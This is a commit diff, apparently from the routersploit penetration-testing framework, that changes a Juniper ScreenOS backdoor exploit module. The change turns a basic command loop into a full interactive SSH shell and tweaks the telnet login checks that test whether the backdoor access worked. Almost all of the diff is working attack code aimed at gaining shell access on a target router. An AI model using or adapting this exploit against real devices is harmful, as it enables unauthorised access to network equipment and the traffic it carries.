Commit a098d4c5 by lucyoa

Juniper ScreenOS backdoor exploit fix.

parent 45fc5789
import paramiko
import telnetlib import telnetlib
import paramiko, StringIO, termios, tty, sys, select, socket
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -45,22 +45,51 @@ class Exploit(exploits.Exploit): ...@@ -45,22 +45,51 @@ class Exploit(exploits.Exploit):
else: else:
print_success("SSH - Successful authentication") print_success("SSH - Successful authentication")
cmd = "" chan = ssh.invoke_shell()
while cmd not in ["quit", "exit"]: oldtty = termios.tcgetattr(sys.stdin)
cmd = raw_input("> ") try:
stdin, stdout, stderr = ssh.exec_command(cmd.strip()) tty.setraw(sys.stdin.fileno())
print stdout.channel.recv(2048) tty.setcbreak(sys.stdin.fileno())
return chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
return
try: try:
tn = telnetlib.Telnet(self.target, 23) tn = telnetlib.Telnet(self.target, 23)
tn.write("\r\n")
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n") tn.write(self.password + "\r\n")
tn.write("\r\n") tn.write("\r\n")
(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Failed", "failed"], 5)
if i != -1: if i != -1:
return False return False
...@@ -88,13 +117,14 @@ class Exploit(exploits.Exploit): ...@@ -88,13 +117,14 @@ class Exploit(exploits.Exploit):
try: try:
tn = telnetlib.Telnet(self.target, 23) tn = telnetlib.Telnet(self.target, 23)
tn.write("\r\n")
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n") tn.write(self.password + "\r\n")
tn.write("\r\n") tn.write("\r\n")
(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Failed", "failed"], 5)
tn.close() tn.close()
if i != -1: if i != -1:
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment